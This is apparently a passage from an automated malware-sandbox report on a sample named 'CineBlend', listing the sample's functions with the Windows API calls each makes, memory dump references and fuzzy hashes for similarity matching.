                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: LongWindow$InvalidateMessageRectSend
                                  • String ID:
                                  • API String ID: 3340791633-0
                                  • Opcode ID: 21819f0e37b6a85b2e0c3994525493d74e5aad4dda2c770c5a0f924ef703063c
                                  • Instruction ID: 94e15a22145a954fbfe6bea7236ce31b0390c85c49c32b99454bcb783b6421ae
                                  • Opcode Fuzzy Hash: 21819f0e37b6a85b2e0c3994525493d74e5aad4dda2c770c5a0f924ef703063c
                                  • Instruction Fuzzy Hash: 6D31AD34A51B09AFEB349F14CC49FE837E5EB04350F1841AAF612962E1CB30BAC0DB41
                                  Function 00B9B563 Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetKeyboardState.USER32(?,75C0C0D0,?,00008000), ref: 00B9B5B8
                                  • SetKeyboardState.USER32(00000080,?,00008000), ref: 00B9B5D4
                                  • PostMessageW.USER32(00000000,00000101,00000000), ref: 00B9B63B
                                  • SendInput.USER32(00000001,?,0000001C,75C0C0D0,?,00008000), ref: 00B9B68D
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: KeyboardState$InputMessagePostSend
                                  • String ID:
                                  • API String ID: 432972143-0
                                  • Opcode ID: 9daf7344c23529cf5b532fc667ad4a7ef5bf524aad341230fd8f19c99fb18b1a
                                  • Instruction ID: b3c32f68418479087a8da2d5396f7dbbba791490648a5c8ef1194813c861a352
                                  • Opcode Fuzzy Hash: 9daf7344c23529cf5b532fc667ad4a7ef5bf524aad341230fd8f19c99fb18b1a
                                  • Instruction Fuzzy Hash: 39312B30940608AEFF348F659905FFAFBE6EF99310F0442BEE481961D1C774AA45CB91
                                  Function 00BC80AE Relevance: 6.1, APIs: 4, Instructions: 102windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • ClientToScreen.USER32(?,?), ref: 00BC80D4
                                  • GetWindowRect.USER32(?,?), ref: 00BC814A
                                  • PtInRect.USER32(?,?,?), ref: 00BC815A
                                  • MessageBeep.USER32(00000000), ref: 00BC81C6
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Rect$BeepClientMessageScreenWindow
                                  • String ID:
                                  • API String ID: 1352109105-0
                                  • Opcode ID: 67fb34cc6ee0de515d1a49a1ec77c0e70a87cd914a15b9c045c3ea7da92f13a8
                                  • Instruction ID: 31e080b0264bc2a8ef0fbba3e4942a858fc8a05d3d0f2ff5eda56c305cd328f7
                                  • Opcode Fuzzy Hash: 67fb34cc6ee0de515d1a49a1ec77c0e70a87cd914a15b9c045c3ea7da92f13a8
                                  • Instruction Fuzzy Hash: 2A415834A01215DFCB11CF59C884FA9BBF5FB4D324F1941ACE955AB261CB31A842CB90
                                  Function 00BC2176 Relevance: 6.1, APIs: 4, Instructions: 101COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetForegroundWindow.USER32 ref: 00BC2187
                                    • Part of subcall function 00B94393: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B943AD
                                    • Part of subcall function 00B94393: GetCurrentThreadId.KERNEL32 ref: 00B943B4
                                    • Part of subcall function 00B94393: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00B92F00), ref: 00B943BB
                                  • GetCaretPos.USER32(?), ref: 00BC219B
                                  • ClientToScreen.USER32(00000000,?), ref: 00BC21E8
                                  • GetForegroundWindow.USER32 ref: 00BC21EE
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                  • String ID:
                                  • API String ID: 2759813231-0
                                  • Opcode ID: d7ea94d5a32ec31822aa11f07b1bf507ec44cc915361fdd51724268de89c3a46
                                  • Instruction ID: 5bc44377492809eea40c7bb8587f74f12db04aecdb5ea00983d1521b6c6b67da
                                  • Opcode Fuzzy Hash: d7ea94d5a32ec31822aa11f07b1bf507ec44cc915361fdd51724268de89c3a46
                                  • Instruction Fuzzy Hash: E83152B5D00209AFCB04DFA5C881DAEB7FCEF48304B5444AAE415E7251DB71DE45CBA0
                                  Function 00B9E8AC Relevance: 6.1, APIs: 4, Instructions: 87COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B341EA: _wcslen.LIBCMT ref: 00B341EF
                                  • _wcslen.LIBCMT ref: 00B9E8E2
                                  • _wcslen.LIBCMT ref: 00B9E8F9
                                  • _wcslen.LIBCMT ref: 00B9E924
                                  • GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 00B9E92F
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: _wcslen$ExtentPoint32Text
                                  • String ID:
                                  • API String ID: 3763101759-0
                                  • Opcode ID: ec1c57349c4e29f2433f92ff96ee182e08e9aa844cecf64fdad5fb599797f38d
                                  • Instruction ID: 2c5a55a6d5935a3235ca2bc85493158656c46a6c6a6d0c4e0a07ce35e2fe5c83
                                  • Opcode Fuzzy Hash: ec1c57349c4e29f2433f92ff96ee182e08e9aa844cecf64fdad5fb599797f38d
                                  • Instruction Fuzzy Hash: F1219F71900615AFDB10EFA8D982BAEB7F8EF45351F2440E5E914BB241D7709E418BA1
                                  Function 00BC9A25 Relevance: 6.1, APIs: 4, Instructions: 78windowCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • GetCursorPos.USER32(?), ref: 00BC9A5D
                                  • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00BC9A72
                                  • GetCursorPos.USER32(?), ref: 00BC9ABA
                                  • DefDlgProcW.USER32(?,0000007B,?,?,?,?), ref: 00BC9AF0
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Cursor$LongMenuPopupProcTrackWindow
                                  • String ID:
                                  • API String ID: 2864067406-0
                                  • Opcode ID: 2cc83abec51c8907dd5fab9145867b6dee595d144ea596d7b7971c56edef434a
                                  • Instruction ID: ba9409c90efae1e6938a8ef4eaa7e9a836b52731ac3fea8029d98071302f4a81
                                  • Opcode Fuzzy Hash: 2cc83abec51c8907dd5fab9145867b6dee595d144ea596d7b7971c56edef434a
                                  • Instruction Fuzzy Hash: 10219A36600018BFEF258F94C88CFEE7BF9EB49750F5041A9FA058B2A1D7319950DB60
                                  Function 00B9DB6C Relevance: 6.1, APIs: 4, Instructions: 78COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetFileAttributesW.KERNEL32(?,00BCDC30), ref: 00B9DBA6
                                  • GetLastError.KERNEL32 ref: 00B9DBB5
                                  • CreateDirectoryW.KERNEL32(?,00000000), ref: 00B9DBC4
                                  • CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00BCDC30), ref: 00B9DC21
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CreateDirectory$AttributesErrorFileLast
                                  • String ID:
                                  • API String ID: 2267087916-0
                                  • Opcode ID: c13789335d175ff3c086ee07e1ff5cdd7e47012fd9d9fddd8c591b2e2470f03c
                                  • Instruction ID: 25927ce72a1134fecaf47f008ef9043e3e05c89ff091764b612dca39196258d4
                                  • Opcode Fuzzy Hash: c13789335d175ff3c086ee07e1ff5cdd7e47012fd9d9fddd8c591b2e2470f03c
                                  • Instruction Fuzzy Hash: 7E2195745083059F8B10DF29C98099BB7F8EE59364F204ABDF499C72A1DB31D946CB52
                                  Function 00B91EBD Relevance: 6.1, APIs: 4, Instructions: 78memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B91960: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00B91976
                                    • Part of subcall function 00B91960: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00B91982
                                    • Part of subcall function 00B91960: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B91991
                                    • Part of subcall function 00B91960: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00B91998
                                    • Part of subcall function 00B91960: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00B919AE
                                  • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00B91F0A
                                  • _memcmp.LIBVCRUNTIME ref: 00B91F2D
                                  • GetProcessHeap.KERNEL32(00000000,00000000), ref: 00B91F63
                                  • HeapFree.KERNEL32(00000000), ref: 00B91F6A
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                  • String ID:
                                  • API String ID: 1592001646-0
                                  • Opcode ID: f45369e6267b390ba0bfc55207a7d965a7f918dc32c8eba4cca5eec4df5f7b46
                                  • Instruction ID: bff1ba2c87ff455dead37626f1fc0828e048664b73c0a4aaa1e68e6f955b6193
                                  • Opcode Fuzzy Hash: f45369e6267b390ba0bfc55207a7d965a7f918dc32c8eba4cca5eec4df5f7b46
                                  • Instruction Fuzzy Hash: FC216D71E4010AAFDF10DFA8C945BEEB7F8EF44345F1548A9E855AB250D730AA05DBA0
                                  Function 00BC321E Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetWindowLongW.USER32(?,000000EC), ref: 00BC32A6
                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BC32C0
                                  • SetWindowLongW.USER32(?,000000EC,00000000), ref: 00BC32CE
                                  • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 00BC32DC
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Window$Long$AttributesLayered
                                  • String ID:
                                  • API String ID: 2169480361-0
                                  • Opcode ID: 2f6657296fc41f61268914347775b96fa5e17c63fbfeaada1a94f441bca41494
                                  • Instruction ID: 54bc705205b3cf56abfdb0b33ee2f4c74b32b3c0b2c998f8652398a4f18fbcb7
                                  • Opcode Fuzzy Hash: 2f6657296fc41f61268914347775b96fa5e17c63fbfeaada1a94f441bca41494
                                  • Instruction Fuzzy Hash: FD21B031204511AFDB149B24C845F6ABBD5EF85724F64C29DF8268B2D2CB71ED41CBD0
                                  Function 00B9825C Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 71stringCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B996E4: lstrlenW.KERNEL32(?,00000002,000000FF,?,?,?,00B98271,?,000000FF,?,00B990BB,00000000,?,0000001C,?,?), ref: 00B996F3
                                    • Part of subcall function 00B996E4: lstrcpyW.KERNEL32(00000000,?,?,00B98271,?,000000FF,?,00B990BB,00000000,?,0000001C,?,?,00000000), ref: 00B99719
                                    • Part of subcall function 00B996E4: lstrcmpiW.KERNEL32(00000000,?,00B98271,?,000000FF,?,00B990BB,00000000,?,0000001C,?,?), ref: 00B9974A
                                  • lstrlenW.KERNEL32(?,00000002,000000FF,?,000000FF,?,00B990BB,00000000,?,0000001C,?,?,00000000), ref: 00B9828A
                                  • lstrcpyW.KERNEL32(00000000,?,?,00B990BB,00000000,?,0000001C,?,?,00000000), ref: 00B982B0
                                  • lstrcmpiW.KERNEL32(00000002,cdecl,?,00B990BB,00000000,?,0000001C,?,?,00000000), ref: 00B982EB
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: lstrcmpilstrcpylstrlen
                                  • String ID: cdecl
                                  • API String ID: 4031866154-3896280584
                                  • Opcode ID: b3baeef967ef5009812385306a1b5228aa4f271c69761842dfbca046ca3211ca
                                  • Instruction ID: 4ccde57ea66ce17cbdb23ec0d29469b2fb58fbd16502eec77e8b5c72bf9cef3d
                                  • Opcode Fuzzy Hash: b3baeef967ef5009812385306a1b5228aa4f271c69761842dfbca046ca3211ca
                                  • Instruction Fuzzy Hash: 9711037A200241ABCF14AF38C844E7A77E9FF4A750B1040BAF902C7260EF319811C795
                                  Function 00BC60FF Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,00001060,?,00000004), ref: 00BC615A
                                  • _wcslen.LIBCMT ref: 00BC616C
                                  • _wcslen.LIBCMT ref: 00BC6177
                                  • SendMessageW.USER32(?,00001002,00000000,?), ref: 00BC62B5
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend_wcslen
                                  • String ID:
                                  • API String ID: 455545452-0
                                  • Opcode ID: 85b5ec6669b04acd75ca031719b942c1838076c900b99a8db46909742d17c813
                                  • Instruction ID: d08ca9de4c540630d13b28e7648a752417e4a8a95aa2c19ad12d076585314c33
                                  • Opcode Fuzzy Hash: 85b5ec6669b04acd75ca031719b942c1838076c900b99a8db46909742d17c813
                                  • Instruction Fuzzy Hash: 65119075600218A6DB20DFA48CC4FEF77FCEB55354B1441AEFA11E6081EBB0D984CB64
                                  Function 00B62079 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: d4fea889d49825cce5eb60dc6cec7bd54d441f40cadf0b14096bd41fe3ce8f22
                                  • Instruction ID: 588e29733c17b75fcc2250bd6634089911e635f34fdbdbdde52944a5150569fd
                                  • Opcode Fuzzy Hash: d4fea889d49825cce5eb60dc6cec7bd54d441f40cadf0b14096bd41fe3ce8f22
                                  • Instruction Fuzzy Hash: 3F01D1B2609A167EFA212778ACC1F6B678DDF427B8B3403B5F925A11D1DF688C40D160
                                  Function 00B92374 Relevance: 6.1, APIs: 4, Instructions: 56windowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SendMessageW.USER32(?,000000B0,?,?), ref: 00B92394
                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B923A6
                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B923BC
                                  • SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B923D7
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: MessageSend
                                  • String ID:
                                  • API String ID: 3850602802-0
                                  • Opcode ID: 652b9372ec6c44534021cdd11d9eef522d55ca33f0bd957138b87655409f1305
                                  • Instruction ID: 02a8caf21c973ff39671b6671be3aaef825c6f2e4b45f2b22bc1d0725896e6fa
                                  • Opcode Fuzzy Hash: 652b9372ec6c44534021cdd11d9eef522d55ca33f0bd957138b87655409f1305
                                  • Instruction Fuzzy Hash: 5711F73AD01218FFEF119BA5CD85F9DBBB8EB08750F2000A1EA01B7290D6716E10DB94
                                  Function 00B31AAC Relevance: 6.1, APIs: 4, Instructions: 56COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00B3249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00B324B0
                                  • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00B31AF4
                                  • GetClientRect.USER32(?,?), ref: 00B731F9
                                  • GetCursorPos.USER32(?), ref: 00B73203
                                  • ScreenToClient.USER32(?,?), ref: 00B7320E
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Client$CursorLongProcRectScreenWindow
                                  • String ID:
                                  • API String ID: 4127811313-0
                                  • Opcode ID: a27f311b4233b64a78781ef0aa617595051ef28bd458f24c344b434ebfd7e5c1
                                  • Instruction ID: 2b184e8daae1cf64c10988516610b458ddc97ea0e6c8cf870656749971020f54
                                  • Opcode Fuzzy Hash: a27f311b4233b64a78781ef0aa617595051ef28bd458f24c344b434ebfd7e5c1
                                  • Instruction Fuzzy Hash: 38113A35A01119ABCB00DFA8C986DEEB7F8EB05345F5048A6E922E3140C771BA91DBA1
                                  Function 00B9EAED Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetCurrentThreadId.KERNEL32 ref: 00B9EB14
                                  • MessageBoxW.USER32(?,?,?,?), ref: 00B9EB47
                                  • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00B9EB5D
                                  • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00B9EB64
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                  • String ID:
                                  • API String ID: 2880819207-0
                                  • Opcode ID: 75c091567dd73a08be85f6826e138825dc9e5687814a2d8d2cdc3a37bf8f47b2
                                  • Instruction ID: b569713d864e08a19314e58e3b27403fb6755d30ce4ff71a1b8b615ab600f2b4
                                  • Opcode Fuzzy Hash: 75c091567dd73a08be85f6826e138825dc9e5687814a2d8d2cdc3a37bf8f47b2
                                  • Instruction Fuzzy Hash: 1011D676900258BFDB01DFA89C49F9E7FEDEB45320F1542B6F825E32A0D675C90487A1
                                  Function 00B5D53C Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateThread.KERNEL32(00000000,?,00B5D369,00000000,00000004,00000000), ref: 00B5D588
                                  • GetLastError.KERNEL32 ref: 00B5D594
                                  • __dosmaperr.LIBCMT ref: 00B5D59B
                                  • ResumeThread.KERNEL32(00000000), ref: 00B5D5B9
                                  Memory Dump Source
                                  • Source File: 00000024.00000002.2058880605.0000000000B31000.00000020.00000001.01000000.00000011.sdmp, Offset: 00B30000, based on PE: true
                                  • Associated: 00000024.00000002.2058844903.0000000000B30000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BCD000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2058970998.0000000000BF3000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059205849.0000000000BFD000.00000004.00000001.01000000.00000011.sdmpDownload File
                                  • Associated: 00000024.00000002.2059231494.0000000000C05000.00000002.00000001.01000000.00000011.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_36_2_b30000_CineBlend.jbxd
                                  Similarity
                                  • API ID: Thread$CreateErrorLastResume__dosmaperr
                                  • String ID:
                                  • API String ID: 173952441-0
                                  • Opcode ID: f1ec01369b5efa9f413c625d5ce10769b55a2cb3124ea1bf1c4b02d6d0958dd6
                                  • Instruction ID: 6f44b0277bc29404d90576551f4861f28840ee89ca0b429809aa4db846c59096
                                  • Opcode Fuzzy Hash: f1ec01369b5efa9f413c625d5ce10769b55a2cb3124ea1bf1c4b02d6d0958dd6
                                  • Instruction Fuzzy Hash: BE01C436401114ABDB316FA5EC05FAA7BA9EF85336F1003E5FD25971E0EB708809C6A1
                                  Function 00B37873 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                  Download Yara Rule
                                  APIs
